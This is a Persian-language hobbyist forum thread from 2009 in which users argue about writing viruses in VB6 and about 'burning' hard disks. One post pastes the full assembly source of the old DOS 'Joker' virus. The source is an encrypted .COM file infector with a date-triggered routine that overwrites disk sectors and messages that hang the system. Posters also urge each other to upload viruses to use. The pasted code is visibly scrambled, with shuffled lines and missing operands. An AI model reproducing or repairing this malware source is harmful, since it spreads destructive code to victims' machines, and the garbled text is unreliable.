امتیاز موضوع:
  • 1 رأی - میانگین امتیازات: 5
  • 1
  • 2
  • 3
  • 4
  • 5
ورژن جدید ویروس دوست دارم ساغر
نویسنده پیام
yeketaz آفلاین
کاربر با تجربه
****

ارسال‌ها: 744
موضوع‌ها: 123
تاریخ عضویت: اسفند ۱۳۸۶

تشکرها : 520
( 1050 تشکر در 294 ارسال )
ارسال: #34
RE: ورژن جدید ویروس دوست دارم ساغر
(۰۹-فروردین-۱۳۸۸, ۱۳:۰۱:۰۶)amintatu1990 نوشته است: yeketaz جون بذار من این ورژن جدید را بنویسم یه تست کنیم بیبینم میشه یا نه از کد اسمبلی استفاده کرد
044
اسمبلی توی ویژوال بیسیک !!!!!!!!!!!!!!!!! اونم ویژوال بیسیک 6!!!!!!!

اینا صددرصد بدونید که هیچ پشتیبانی از اسمبلی در ویژوال بیسیک 6 نمی شه

اون مبدلهای اسمبلی به ویژوال بیسیک که هست و یکیش رو خودم توی سایت گذاشتم هم جوابگو نیست

یعنی اصلا استفاده از اسمبلی نیست و فقط تبدیل اسمبلی به ویژوال بیسیکه که خاصیتهای

برنامه های اسمبلی رو از دست می ده

اینم از بحث هایی که درباره اسمبلی شده:

http://forum.iranled.com/showthread.php?tid=972

شاید DLL یا OCX ی باشه که کدهای اسمبلی رو دریافت و اجرا کنه که اونا هم معمولا به درد نمی خورن

چون فقط دستورات رو تفسیر و با قابلیتهای خودشون اجرا می کنن

ولی اگه هم باشن مجبوری فایل کنار ویروس باشه که یا باید ادغام شده باشن یا از اینترنت دانلود کنی

که در هر دو صورت مشکلات زیادی پیدا خواهد شد اونم برای اجرای دستورات اسمبلی

2-یه راه دیگه هم هست که یه اسمبلر همراه ویروس بذاری!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

با راه اول نمی تونی درایور بنویسی با راه دوم می تونی ولی باید بدونی اصلا درایور چی هست

چه طوری نوشته می شه!تازه اینقدر سخته اینطوری درایور نوشتن

معمولا همون DDK رو روی ++VC نصب می کنن و درایور می نویسن

در هر صورت با ویژوال بیسیک نمی تونید درایور بنویسید

برای همین استفاده از دستورات اسمبلی هم عاقلانه نیست

ما که دیگه توی ایران ویج پیر شدیم 040 کم کم باید جامون رو بدیم به جوونا 028
۰۹-فروردین-۱۳۸۸, ۱۳:۱۵:۳۰
وب سایت ارسال‌ها
Mr.pRoGraMmer غایب
کاربر با تجربه
****

ارسال‌ها: 1,084
موضوع‌ها: 58
تاریخ عضویت: اسفند ۱۳۸۷

تشکرها : 2031
( 2927 تشکر در 1008 ارسال )
ارسال: #35
RE: ورژن جدید ویروس دوست دارم ساغر
یه راه هست اقا یکه تاز

۰۹-فروردین-۱۳۸۸, ۱۳:۲۷:۰۸
وب سایت ارسال‌ها
Payman62 آفلاین
مدیر بخش ویژوال بیسیک
*****

ارسال‌ها: 2,273
موضوع‌ها: 149
تاریخ عضویت: اسفند ۱۳۸۴

تشکرها : 1308
( 3661 تشکر در 942 ارسال )
ارسال: #36
RE: ورژن جدید ویروس دوست دارم ساغر
سلام.
امین جان تو مسنجر هم در مورد اسمبلی از من پرسیدی و گفتی سورس سوزوندن هارد که برام ارسال کردی رو تو بچ فایل ذخیره و اجرا میکنی. این که بیای یه سری کد اسمبلی رو تو بچ فایل ذخیره و اجرا کنی روش استفاده از اسمبلی تو ویبی نیست.
ضمن این که همان طور که گفتم این قدر در مورد آسیب سخت افزاری پافشاری نکن. دفعه قبل هم هی رو نظر خودت اصرار کردی و در نهایت چون متوجه شدی اشتباه کردی رفتی همه پست های خودتو پاک کردی.
شاید با دسترسی به سکتور 0 هارد و دستکاریش هارد از کار بیفته ولی این سوزوندن نیست.
۰۹-فروردین-۱۳۸۸, ۱۳:۴۷:۴۹
ارسال‌ها
تشکر شده توسط : yeketaz, Mr.pRoGraMmer
yeketaz آفلاین
کاربر با تجربه
****

ارسال‌ها: 744
موضوع‌ها: 123
تاریخ عضویت: اسفند ۱۳۸۶

تشکرها : 520
( 1050 تشکر در 294 ارسال )
ارسال: #37
RE: ورژن جدید ویروس دوست دارم ساغر
لطفا خونسردی خودتون رو حفظ کنید و در مواضع ادب قرار بگیرید و بدونید احترام با احترام گذاشتن بدست می یاد
دعوا و جنجال هم جز خرد کردن شخصیت نتیجه ای نداره
لطفا مدیران محترم اگه می شه تاپیک رو قفل و پاک نکنن تا همه چیز روشن بشه
-----------------------------------------------------------------------------------------------------------
امین چندتا نکته رو باید بدونی بعد بحث رو ادامه بدیم :

1-می خوای کارهای غیرممکن و نشدی رو انجام بدی که با عقل جور در نمی یاد که اطلاعاتی دربارشون نداری و نمی تونی این واقعیتها رو قبول کنی که کارهای زیر نشده :
الف)نوشتن درایور توی VB6 ب)اجرای دستورات اسمبلی در بچ فایل ج)سوزوندن سخت افزار

2-لطفا بدون تحقیق به دیگران برچسب ندانستن و ناتوان نچسبون چون همه این رفتارهایی که باهات می شه نتیجه رفتاره خودته

3-قبول کردن یا نکردنش ماله خودت ولی ویروست خیلی سادست و طبق گفته های بالا از روشهای بسیار ضعیفی استفاده شده

4-باید برای ویروس نوشتن کلی مطالعه کنی تا بتونی روشهای ویروس نویسی حرفه ای بشناسی و استفاده کنی

5-آدم با در جا زدن و نوشتن برنامه های یک سطح پیشرفتی که نداره ، با از دست دادن وقت یه بازنده محسوب می شه

6-ویروس نویسی نیاز به حوصله زیادی داره که متاسفانه شما حوصله چندانی نداری و با هر روشی می خوای یه ویروس بنویسی

7-کمک نگرفتن از دیگران مساویه سقوطه،هیچ کسی از اول یه کارکشته نبوده

قبول کردن یا نکردن حرفهای بالا با خودته ولی حقیقت ها رو نمشه انکار کرد حتی اگه دیده نشن و غیر قابل باور باشن،اگه تونستی با خودت کنار بیای ، می تونی یه برنامه نویس خوب بشی ولی اگه نتونستی با خودت کنار بیای با دیگران هم کنار نمی یای و این برای یه برنامه نویس یعنی نابودی به تمام عیار،تصمیم با خودت

اگه اشتباهاتت رو قبول کردی و تونستی با مباحث حرفه ای کنار بیای بگو تا بحث بازم پیش بره وگرنه ذات انسان اینطوریه

که حرف رو دو سه بار زد و یکی نفهمید دیگه خسته می شه برا همیشه قیدش رو می زنه

ما که دیگه توی ایران ویج پیر شدیم 040 کم کم باید جامون رو بدیم به جوونا 028
(آخرین ویرایش در این ارسال: ۰۹-فروردین-۱۳۸۸, ۱۶:۰۷:۱۷، توسط yeketaz.)
۰۹-فروردین-۱۳۸۸, ۱۵:۵۲:۵۷
وب سایت ارسال‌ها
تشکر شده توسط : t3r!p3000
Mr.pRoGraMmer غایب
کاربر با تجربه
****

ارسال‌ها: 1,084
موضوع‌ها: 58
تاریخ عضویت: اسفند ۱۳۸۷

تشکرها : 2031
( 2927 تشکر در 1008 ارسال )
ارسال: #38
RE: ورژن جدید ویروس دوست دارم ساغر
اول سلام اقا یکه تاز نوشتن درایو تو vb6 هم توضیحات کامل میدیم
اجری دستورات اجرای دستورات اسمبلی در بچ فایل و سوزاند هارد
اول من با اقا پیمان حرق زدیم گفت اینکار نمیشه من هم نوشتم چرا من اومدم اینجا این حرف را زدم؟
بیبینم این فرضیه جواب میده یا نه ایا عملی شدنی هست یا نه
کسی ننوشت سوزاندن هارد توضیحات ویروسی که دادم همچین چیزی من نوشتم؟
گفتم میخوام اینکارو کنم
(3-قبول کردن یا نکردنش ماله خودت ولی ویروست خیلی سادست و طبق گفته های بالا از روشهای بسیار ضعیفی استفاده شده) میدونم خوب افزار هست
گفته های بالا واسه خودشون بوده و تو این ویروس از روشهای جدیدتر استفاده شده
من یه فرضیه دادم اینقدر یه ادم اینجا پست را به کل کل کشید بعضی ها میان اینجا و میرن خط به خط حرفهایی که زدی را نقطه ضعف میگیرن و قدرت نمایی میکنن متاسفانه این ادم های کمبود عاطفه و محبت دارن عقده ای هستن اقا یکه تاز من یه فکری دارم مثلا یکی میاد میگه این برنامه که نوشتی خیلی سادست با زبون اره کسی اینو میتونه بگه که یه ویروس نوشته باشه بعد بیاد اینجا اپلودش کنه من کاری ندارم اصلان طرف 100 سال برنامه نویسی کار کرده باشه شاید هم به طور کامل بلد بشه و من در مقابلش 0 باشم وقتی من قبول میکنم که طرف یه ویروس نوشته باشه و بیاد اون موقع بگه من تونستم اینکارو کنم این ویروس من بوده میدونم که الان خیلی ها میگن اینکار را نمیکنیم این کار کار عقده ای ها هست از اساتید درخواستی دارم فکر کنم تو 5 دقیقه بتونید ویروس بنیویسد یه تایپک بزاریم واسه قوی ترین ویروسها هر کسی بیاد مزیت های ویروس خودشو بگه و بیاد اون موقع بگه اقا من این ویروس را نوشتم دوست عزیز ویروس شما خیلی ساده هست در مقابل ویروس من اینجوری بهتره میتونم بیام اینجا از همه ایراد بیگیرم البته با زبون وقتی کسی میگه سادست باید تو عمل ثابت کنه خیلی هم خوشحال میشم اقا یکه تاز
مهم مهم
(اگر میشه یه ویروس بنیویسید)
ادم های حرفه ای اینجا اگر اینکار را کنید هم بحث علمی تر میشه هم کل کلش کمتر میشه و تجربه بیشتری بهمون میرسه
سلام terip2008 جان ممنونم که تایپک را مرتب کردید و کل کل های بیخود را حذف کردید جای تشکر داره ممنونم

(آخرین ویرایش در این ارسال: ۰۹-فروردین-۱۳۸۸, ۱۶:۲۵:۳۶، توسط Mr.pRoGraMmer.)
۰۹-فروردین-۱۳۸۸, ۱۶:۲۲:۰۳
وب سایت ارسال‌ها
Morpheus آفلاین
كاربر دو ستاره
**

ارسال‌ها: 142
موضوع‌ها: 14
تاریخ عضویت: آبان ۱۳۸۷

تشکرها : 51
( 104 تشکر در 49 ارسال )
ارسال: #39
RE: ورژن جدید ویروس دوست دارم ساغر
ویروس نویسی که آقا امین میگن بدک نیستها.
البته نمیگم کی ضعیفه کی قوی هرکی نسبت به آدم عادی که اصلا برنامه نویسی بلد نیست قویه

اگه یه روز به یک در بزرگ رسیدی که یه قفل بزرگ داشت نترس و ناامید نشو چون اگه قرار بود قفل باز نشه جای در دیوار بود.
۰۹-فروردین-۱۳۸۸, ۱۷:۱۰:۴۴
ارسال‌ها
Mr.pRoGraMmer غایب
کاربر با تجربه
****

ارسال‌ها: 1,084
موضوع‌ها: 58
تاریخ عضویت: اسفند ۱۳۸۷

تشکرها : 2031
( 2927 تشکر در 1008 ارسال )
ارسال: #40
RE: ورژن جدید ویروس دوست دارم ساغر
سلام
هر کسی نطری و حرقی داری دیگه با مدرک ثابت میکنه دوستان ویروس نویس ویروس خودشون را اماده کنن و اینجا اپلود کنن تا ما هم استفاده کنیم و یاد بیگیریم

۱۰-فروردین-۱۳۸۸, ۰۳:۲۶:۳۰
وب سایت ارسال‌ها
ha_60 آفلاین
بنيانگذار سايت
******

ارسال‌ها: 4,637
موضوع‌ها: 216
تاریخ عضویت: آبان ۱۳۸۳

تشکرها : 560
( 6556 تشکر در 2385 ارسال )
ارسال: #41
RE: ورژن جدید ویروس دوست دارم ساغر
من همش رو نخوندم دیدم دعواست گفتم منم بیام Biggrin

نقل قول: مفسر فایلهای bat امکان تفسیر و اجرای دستورات اسمبلی را ندارند. بحث های غیر علمی نکن برادر :)
اگه یه Buffer overflow هم توش پیدا کنیم بازم امکانش نیست ؟ Biggrin

هادی امین زاده
دیدن چیزی که همه می بینند هنر نیست
بانک اطلاعات صنایع ایران.
۱۰-فروردین-۱۳۸۸, ۰۹:۲۵:۱۶
وب سایت ارسال‌ها
تشکر شده توسط : Mr.pRoGraMmer, t3r!p3000
Mr.pRoGraMmer غایب
کاربر با تجربه
****

ارسال‌ها: 1,084
موضوع‌ها: 58
تاریخ عضویت: اسفند ۱۳۸۷

تشکرها : 2031
( 2927 تشکر در 1008 ارسال )
ارسال: #42
RE: ورژن جدید ویروس دوست دارم ساغر
سلام ادم حرفی که میزنه و میگه تو batch فایل میخواد استفاده کنه باید عملیش کنه و بگه چطوری این کدی هست که من میخواستم تو batch فایل استفاده کنم
کد php:
" ... title " virusWritten by The BOOT SECTOR Infector
;
Joker This is a remake of the deceased "!" virusThe original ;
.
had multiple programming errors in it that kept it from replicating ;
My version is much more successful .;
page 255,80
'code segment word public 'code
assume cs
:code,ds:code
org 100h
main proc
;edure
...EQUates;
(
idc equ 69h ;ID character - (note69
cr equ 13 
;ASCII for carriage return
lf equ 10 ;ASCII for line feed
.End codesThese determine what happens after the string is displayed;
terminate equ 0 ;Terminate program after display
halt equ 1 
;Cause the system to hang after display
SimulateCritErr equ 2 
;Simulate the critical error handler
return2host equ 3 
;Resume program immediately
FlashFloppy equ 4 
;Wait for a keythen reset Drive A :
WaitKey equ 5 ;Wait for a keythen resume program
PauseKey equ 6 
;Same thingbut uses a pause message
(StackError equ 7 ;Cause a stack overflow (halts system
tof
: ;Top-Of-File
jmp begin 
;Skip over program
idchar
db idc ;ID character
!HostProgramnop ;First run copy only
!nop ;First run copy only
!first_fournop ;First run copy only
!addressint 20h ;First run copy only
!checknop ;First run copy only
begin
call nextline ;Push IP+3 onto stack
nextline
pop bp ;mov bp,ip
sub bp
,offset nextline ;bp=disp. for mem locs
push ax 
;Save AX
call cryptor 
;Decrypt
jmp short retloc 
;Continue program
cryptor
mov al,[bp+offset encrypt_val] ;encrypt val
lea si
,[bp+offset toec] ;Top Of Encrypted Code
mov cx
,offset eoec-" " offset toec ;Length of
cryptorloop
: xor [si],al ;en/de crypt
# rol al,cl ;change code
inc si ;Next char please !
loop cryptorloop ;loop if necessary
ret 
;Return to caller
infect
call cryptor ;Encrypt code
pop cx 
;Restore CX for INT 21
int 21h 
;Call DOS
call cryptor 
;Decrypt code
ret 
;Go back
toec
:;???????????????????????????????????????????????????Top Of Encrypted Code
InfectIt
push cx ;Save CX for sub
jmp infect
retloc
pop ax ;Restore AX
xor di,di ;DI 0
cli 
;Disable interrupts
mov ss
,di ;Set up stack at :
mov sp,2F0h 0000:02F0
sti 
;Enable interrupts
mov si
,96h ;Vector for INT 24h
mov bx
,ss:[si] ;BX offset in segment
mov cx
,ss:[si+2] ;CX segment
lea dx
,[bp+offset int24handler] ;CS:DX -} local handler
mov ss
:[si],DX ;Save offset
mov ss
:[si+2],cs ;Save segment
mov si
,es:[di+2F8h] ;Check operation mode
cmp si
,4643h ;'CF' if already TSRed
jne GoOn 
;Nopejmp
jmp 
return ;Yesdon't do anything
GoOn: mov cs:[di+4Ch],bx ;use unused part of PSP
mov cs:[di+4Eh],cx ; to save BX and CX
... push cs ;Copy CS
pop es ; ... to DS
mov byte ptr [bp+offset infected],0 ;Reset infection count
mov byte ptr [bp+offset max2kill],3 ;Stop after 3 or less
GoOn2: lea si,[bp+offset first_four] ;Original first 4 bytes
mov di,offset tof ;TOF never changes
cld ;Read left-to-right
movsw ;Copy the 4 bytes
movsw ;Copy the 4 bytes
mov ... ah,1Ah ;Set DTA address
lea dx,[bp+offset DTA] ; ... to *our* DTA
int 21h ;Call DOS to set DTA
mov ah,4Eh ;Find First ASCIIZ
lea dx,[bp+offset filespec] ;DS:DX -} '
*.COM',0
lea si,[bp+offset filename] ;Point to file
push dx ;Save DX
...jmp short continue ;Continue
... return: mov ah,1ah ;Set DTA address
mov dx,80h ; ... to default DTA
int 21h ;Call DOS to set DTA
xor di,di ;DI= 0
mov es,di ;ES= 0
mov si,96h ;Vector for INT 24h
mov bx, cs:[di+4Ch] ;Restore from saved BX
mov word ptr es:[si+0], bx ;Place back into vector
mov cx, cs:[di+4Eh] ;Restore from saved CX
mov word ptr es:[si+2], cx ;Place back into vector
... push cs ;Move CS
pop es ; ... to ES
mov ax,[bp+offset SavedAX] ;Restore AX
xor bx,bx ;BX= 0
mov cx,bx ;CX= 0
mov dx,cx ;DX= 0
mov si,dx ;SI= 0
mov di,si ;DI= 0
(mov sp,0FFFEh ;SP= FFFEh (normal
(mov bp,100h ;BP= 100h (RETurn addr
push bp ; Put on stack
mov bp,ax ;BP= 0
ret ;JMP to 100h
nextfile: or bx,bx ;Did we open the file ?
jz skipclose ;No, so don'
t close it
mov ah
,3Eh ;Close file
int 21h 
;Call DOS to close it
xor bx,bx ;Set BX back to 0
skipclose
mov ah,4Fh ;Find Next ASCIIZ
continue: pop dx ;Restore DX
push dx 
;Re-save DX
xor cx,cx ;CX0
xor bx,bx
int 21h 
;Find First/Next
jnc skipjmp
jmp NoneLeft 
;Out of files
skipjmp
mov ax,3D02h ;open file
mov dx
,si ;point to filespec
int 21h 
;Call DOS to open file
jc nextfile 
;Next file if error
mov bx
,ax ;get the handle
mov ah
,3Fh ;Read from file
mov cx
,;Read 4 bytes
lea dx
,[bp+offset first_four] ;Read in the first 4
int 21h 
;Call DOS to read
cmp byte ptr 
[bp+offset check],? idc ;Already infected
... je nextfile ;Yep, try again
.NOTEDelete the two lines above if you want it to re-infected programs;
?
cmp byte ptr [bp+offset first_four],77 ;Mis-named .EXE
!je nextfile ;Yepmaybe next time
mov ax
,4202h ;LSeek to EOF
xor cx,cx ;CX0
xor dx,dx ;DX0
int 21h 
;Call DOS to LSeek
?cmp ah,0F8h ;Longer than 62K
...ja nextfile ;Yep, try again
mov 
[bp+offset addr],ax ;Save call location
mov ah
,40h ;Write to file
mov cx
,;Write 4 bytes
lea dx
,[bp+offset first_four] ;Point to buffer
int 21h 
;Save the first 4 bytes
mov ah
,[bp+offset encrypt_val] ;Get code number
inc ah 
;add 1
adc ah
,;increment if it's zero
mov [bp+offset encrypt_val],ah ;Save new code number
mov ah,40h ;Write to file
mov cx,offset eof-offset begin ;Length of target code
lea dx,[bp+offset begin] ;Point to virus start
call InfectIt ;Exempt from encryption
ComeBackHere: mov ax,4200h ;LSeek to TOF
xor cx,cx ;CX= 0
xor dx,dx ;DX= 0
int 21h ;Call DOS to LSeek
mov ax,[bp+offset addr] ;Retrieve location
inc ax ;Adjust location
mov [bp+offset address],ax ;address to call
mov byte ptr [bp+offset first_. four],0E9h ;JMP rel16 inst
mov byte ptr [bp+offset check],idc ;EOFMARK
mov ah,40h ;Write to file
mov cx,4 ;Write 4 bytes
lea dx,[bp+offset first_four] ;4 bytes are at [DX [
int 21h ;Write to file
inc byte ptr [bp+offset infected] ;increment counter
dec byte ptr [bp+offset max2kill] ;decrement counter
jz TheEnd ;If 0 then End
# inc byte ptr [bp+offset encrypt_val] ;change code
adc byte ptr [bp+offset encrypt_val],0 ;adjust if 0
!jmp nextfile ;Next victim
?NoneLeft: cmp byte ptr [bp+offset infected],3 ;At least 3 infected
!jae TheEnd ;The party'
s over
mov di
,100h ;DI100h
?cmp word ptr [di],20CDh ;an INT 20h
.je TheEnd ;Don't go to prev. dir
'
..'; [lea dx,[bp+offset prevdir
mov ah,3Bh ;Set current directory
.. int 21h ;CHDIR
!jc TheEnd ;We'
re through
mov ah
,4Eh
jmp 
continue ;Start over in new dir
TheEnd
: xor di,di ;DI0
mov es
,di ;ES0
mov ah
,2ah ;Get date
int 21h 
;Do it
?cmp dl,;4th of the month
jne test2 
;Nopesecond test
?cmp dh,;July
jne test2 
;Nopesecond test
xor ax,ax ;Sector 0
...jmp Kill ;Kill the disk now
test2
mov ah,2ch ;Get time
int 21h 
;Do it
(or cl,cl ;On the hour? (x:00 xM
jnz GiveUp 
;Return to program
??? cmp ch,;Midnight to 5 AM
jnl GiveUp 
;Return to program
add cl
,ch ;Add first number
mov ax
,cx ;Transfer to AX
cbw 
;Zero out AH
add al
,dh ;Add DL to AL
adc al
,dl ;Add DL and carry flag
adc ah
,;Add carry to AH
??? or ax,ax ;AX 0
...jnz Kill ;Kill the disk now
...inc ax ;Welladjust first
Kill
mov dx,ax ;Sector number
....mov cx,;One at a time
xor bx,bx ;Point at PSP
mov ah
,19h ;Get current disk
int 21h ;Call DOS to
int 26h 
;Now kill the disk
GiveUp
mov bx,offset message_table ;point to table
mov ah
,2ch ;Get time
int 21h ;Call DOS to
(inc dh ;(0-59
timeloop
cmp dh,msgs ;mapped yet ?
jl timedone ;Yesjump
sub dh
,msgs ;try to map it
jmp short timeloop 
;and check out work
# timedone: mov al,dh ;AL gets msg
mov cl,al ;Save in CL for CritErr
cbw 
;AH gets 0
shl ax
,;AX AX 2
add bx
,ax ;BX index
mov si
,[bx] ;SI points to string
# mov ch,[si-1] ;CH is technique
mov dx,si ;DX points to string
mov ah
,;Display string
int 21h ;Call DOS to
cmp ch
,terminate ;Terminate program ?
je TerminateProg ;Nopenext test
cmp ch
,halt ;Halt program ?
je $ ;Hang system if ch=halt
?cmp ch,SimulateCritErr ;Simulate CritErr
je simulate 
;yesgo do it
cmp ch
,Return2host ;Return to host ?
je ResumeProgram ;yesgo do it
cmp ch
,FlashFloppy ;Flash drive A : ?
je FlashFlop ;Yesgo do it
cmp ch
,WaitKey ;Wait for keypress ?
je zwait ;Yesgo do it
cmp ch
,PauseKey ;Pause message wwait ?
je zpause ;Yesgo do it
cmp ch
,StackError ;Stack overflow ?
je StackErr ;Yesgo do it
Invalid code
assume Return2host;
ResumeProgramjmp return ;Return to caller
StackErr
call $ ;Cause stack overflow
!TerminateProgint 20h ;Yepall done
... simulatelea dx,[bp+offset ARIFmsg] ;AbortRetry
mov ah
,;Print string
int 21h ;Call DOS to
mov ah
,;Input a char
int 21h ;Call DOS to
lea dx
,[bp+offset crlf] ;crlf
mov ah
,;Print string
int 21h ;Call DOS to
cmp al
,'a' ;Uppercase ?
jb uppercase ;Nopejump
sub al
,' ' ;Yesmake uppercase
?uppercasecmp al,'A' ;Abort
.je terminateprog ;Yepgo do it
cmp al
,'R' ;Retry ?
jne zskip ;skip over "retry" code
lea dx
,[bp+offset crlf] ;Point to crlf
mov ah
,;Print string
int 21h ;Call DOS to
mov dh
,cl ;Restore DH from CL
jmp timedone 
;Reprint error
zskip
cmp al,'I' ;Ignore ?
je ResumeProgram ;Return to host program
cmp al
,'F' ;Fail ?
jne simulate ;Invalid response
lea dx
,[bp+offset fail24] ;Point to fail string
mov ah
,;Print string
int 21h ;Call DOS to
int 20h 
;Terminate program
FlashFlop
mov ah,;Wait for keypress
int 21h ;Call DOS to
:xor ax,ax ;Drive A
mov cx
,;Read 1 sector
mov dx
,ax ;Start at boot sector
lea bx
,[bp+offset boot_sector] ;BX points to buffer
int 25h 
;Flash light on A :
jmp short ResumeProgram ;Resume if no error
zpause
lea dx,[bp+offset pause] ;Point to pause message
mov ah
,;Print string
int 21h ;Call DOS to
zwait 
:
mov ah,;Wait for keypress
int 21h ;Call DOS to
...jmp short ResumeProgram ;Go on
'$?ARIFmsg db cr,lf,'AbortRetryIgnoreFail
'fail24 db cr,lf,cr,lf,'Fail on INT 24
'$',crlf db cr,lf
:message_table
dw offset msg1
dw offset msg2
dw offset msg3
dw offset msg4
dw offset msg5
dw offset msg6
dw offset msg7
dw offset msg8
dw offset msg9
dw offset msg10
dw offset msg11
dw offset msg12
dw offset msg13
dw offset msg14
dw offset msg15
dw offset msg16
dw offset msg17
dw offset msg18
dw offset msg19
dw offset msg20
msgs db 20
I tried to make it 
as simple as possible to change the messages ;
; and 
add/delete themEach message is in the format :;
[
db [technique ;
; ] 
labeldb [Text [;
Where [techniqueis one of the 8 codes shown at the beginning of ;
this file (terminatehaltetc.). This determines what the virus ;
.
should do after printing the message ;
labelis in the form "msg##" where ## is a number from 1 to] ;
msgs". "msgs" is defined immediately before this" ;
.
comment block ;
textis a combination of text and ASCII codesterminated by] ;
either a '$' or ,36 .;
If 
you change the number of messages the virus hasyou should also ;
"add/remove lines from the offset table and change the "msgs ;
data byte appropriatelyLet's say for instance that you want ;
:".to remove "Program too big to fit in memory ;
Delete the line(s) with the message and the line (1 ;
.immediately before it ;
Move message #20 up to message #2'
s position and (;
.
"change its label from "msg20" to "msg2 ;
Delete the line "dw offset msg20" from the offset (;
.
table ;
:
Change the line before this comment block to (;
" msgs db 19 ";
!
Later ;
... 
The BOOT SECTOR Infector- ;
;
:
db FlashFloppy ;Waits for keythen flashes drive A
msg5 db 
'I',39,'m hungry! Insert PIZZA & BEER into drive A: and',cr,lf
'$ ...pause db 'Strike any key when ready
db SimulateCritErr 
;Prints ARIF message and responds appropriately
'$msg1 db 'Impotence error reading user',39,'s dick
db terminate 
;Ends the program immediately
msg2 db 
'Program too big '$', to fit in memory',cr,lf
db halt 
;Halts the system
'$',msg3 db 'Cannot load COMMAND, system halted',cr,lf
db terminate 
;Ends the program immediately
'msg4 db 'I',39,'m sorryDave.... but I',39,'m afraid
'$',db ' I can',39,'t do that!',cr,lf
db WaitKey 
;Waits for a keypressthen runs the program
'$ ?(msg6 db 'Format another? (Y/N
(db StackError ;Generates a stack overflow (halts the system
'$!msg7 db 'Damn itI told you not to touch that
db terminate 
;Ends the program immediately
'$',msg8 db 'Suck me!',cr,lf
db SimulateCritErr 
;Prints ARIF message and responds appropriately
'$:msg9 db 'Cocksucker At Keyboard error reading device CON
db terminate 
;Ends the program immediately
msg10 db 7
,cr,cr,cr,7,cr,cr,cr,7,cr,cr,cr,lf
'.db 'I',39,'m sorrybut your call cannot be completed as dialed
'$',db cr,lf,'Please hang up & try your call again.',cr,lf
db terminate 
;Ends the program immediately
'$',msg11 db 'No!',cr,lf,cr,lf
db halt 
;Halts the system
'$msg12 db 'Panic kernal mode interrupt
db WaitKey 
;Waits for a keypressthen runs the program
'$',msg13 db 'CONNECT 1200«',cr,lf,cr,lf
db return2host 
;Runs host program immediately
'$',msg14 db 'Okay, okay! Be patient! ...',cr,lf
db terminate 
;Ends the program immediately
'$',msg15 db 'And if I refuse?',cr,lf
db return2host 
;Runs host program immediately
'$',msg16 db 'Fuck the world and its followers!',cr,lf
db return2host 
;Runs host program immediately
'$',msg17 db 'You are pathetic, man... you know that?',cr,lf
db terminate 
;Ends the program immediately
'$',msg18 db 'Cum on! Talk DIRTY to me !!!',cr,lf
db terminate 
;Ends the program immediately
msg19 db 
'Your coprocessor wears '$', floppy disks!',cr,lf
db PauseKey 
;Waits for keypress (SAKWR), then runs host prg
msg20 db 
'Joker! ver àà by TBSI!',cr,lf
'$',db 'Remember! EVERYTHING',39,'s bigger in Texas!',cr,lf
int24handler
: xor al,al ;Ignore the error
iret 
;Interrupt return
filespecdb '*.COM',;File specification
prevdir
db '..',;previous directory
max2kill db 3 
;maxfiles to infect
eoec
:;???????????????????????????????????????????????????End Of Encrypted
Code
VersionNumber dw 100h 
;Version 1.00
encrypt_val db 0 
;1st-run copy only
None of this information is included in the virus
's code. It is only used ;
during the search/infect routines and it is not necessary to preserve it ;
.in between calls to them ;
:eof
:DTA
db 21 dup (?) ;internal search'
s data
attribute db 
? ;attribute
file_time db 2 dup 
(?) ;file's time stamp
file_date db 2 dup (?) ;file'
s date stamp
file_size db 4 dup 
(?) ;file's size
filename db 13 dup (?) ;filename
SavedAX dw ? ;Used to save AX
infected db ? ;infection count
addr dw ? ;Address
:boot_sector
main endp;rocedure
code ends;egment
end 

(آخرین ویرایش در این ارسال: ۱۰-فروردین-۱۳۸۸, ۰۹:۳۱:۱۱، توسط Mr.pRoGraMmer.)
۱۰-فروردین-۱۳۸۸, ۰۹:۲۹:۰۰
وب سایت ارسال‌ها
saeedsmk آفلاین
مدیر بخش کرک و کامپیوتر
*****

ارسال‌ها: 506
موضوع‌ها: 74
تاریخ عضویت: آبان ۱۳۸۴

تشکرها : 677
( 1179 تشکر در 348 ارسال )
ارسال: #43
RE: ورژن جدید ویروس دوست دارم ساغر
سلام
امين جان اين چيه مثلا . اين سورس يك ويروس كه اگر كامپايل كني بصورت كام در ميايد . فكر كنم تحت داس بايد اجرابشه تحت ويندوز فكر نكنم جواب بده .
2- به batch چه ربطي داره . شايد پسوندشو ميگي كه به bat ويا cmd تغيير داده شده.
لطفا حين تايپ نقطه بذار و يا برو خط بد .
لطفا توضيح دقيق بديد. و اگر حرفي ميزنيد و منبعي داريد اون رو ذكر كنيد
به اميد ديدار

در دنياي كه مرگ شكارچي ان است بايد شكارچي بود - تعليمات دون خوان نوشته كارلوس كاستاندار
۱۰-فروردین-۱۳۸۸, ۱۱:۲۸:۰۰
ارسال‌ها
Mr.pRoGraMmer غایب
کاربر با تجربه
****

ارسال‌ها: 1,084
موضوع‌ها: 58
تاریخ عضویت: اسفند ۱۳۸۷

تشکرها : 2031
( 2927 تشکر در 1008 ارسال )
ارسال: #44
RE: ورژن جدید ویروس دوست دارم ساغر
سلام
باشه تو جمله نقطه هم میزاریم
دینگ دینگ نقطه سر خط
اینم منبع و اطلاعات کامل در مورد batch فایل


فایل‌(های) پیوست شده
.pdf   Die Hard.pdf (اندازه: 43.22 KB / تعداد دفعات دریافت: 69)

۱۰-فروردین-۱۳۸۸, ۱۲:۴۳:۱۷
وب سایت ارسال‌ها
تشکر شده توسط : t3r!p3000


موضوعات مرتبط با این موضوع...
موضوع نویسنده پاسخ بازدید آخرین ارسال
Rolleyes سورس ویروس ساده در عین حال خطر ناک با ویژال بیسیک Ghoghnus 0 1,238 ۱۱-اسفند-۱۳۹۷, ۱۵:۴۹:۰۴
آخرین ارسال: Ghoghnus
Exclamation ورژن جدید ویروس Setup.exe Morpheus 41 44,952 ۲۳-شهریور-۱۳۹۵, ۱۶:۳۴:۵۴
آخرین ارسال: babyy
  ویروس یابی! 1نفر 7 5,344 ۰۱-اردیبهشت-۱۳۹۵, ۱۲:۵۰:۰۳
آخرین ارسال: 1نفر
  حذف ویروس های TMP! student-p 4 6,350 ۰۴-اسفند-۱۳۹۴, ۱۱:۵۹:۰۷
آخرین ارسال: imenbazar
  استخراج امضا های ویروس ها از دیتابیس آنتی ویروس hadiranji 1 2,526 ۱۳-بهمن-۱۳۹۴, ۱۲:۵۰:۵۵
آخرین ارسال: lord_viper
  ویروس یا تروجان مخرب خطرناک 123659 51 39,687 ۱۹-بهمن-۱۳۹۳, ۰۰:۳۷:۲۵
آخرین ارسال: omid_phoenix
  ویروس تبلیغاتی helma 8 7,959 ۱۷-بهمن-۱۳۹۳, ۰۵:۱۶:۴۴
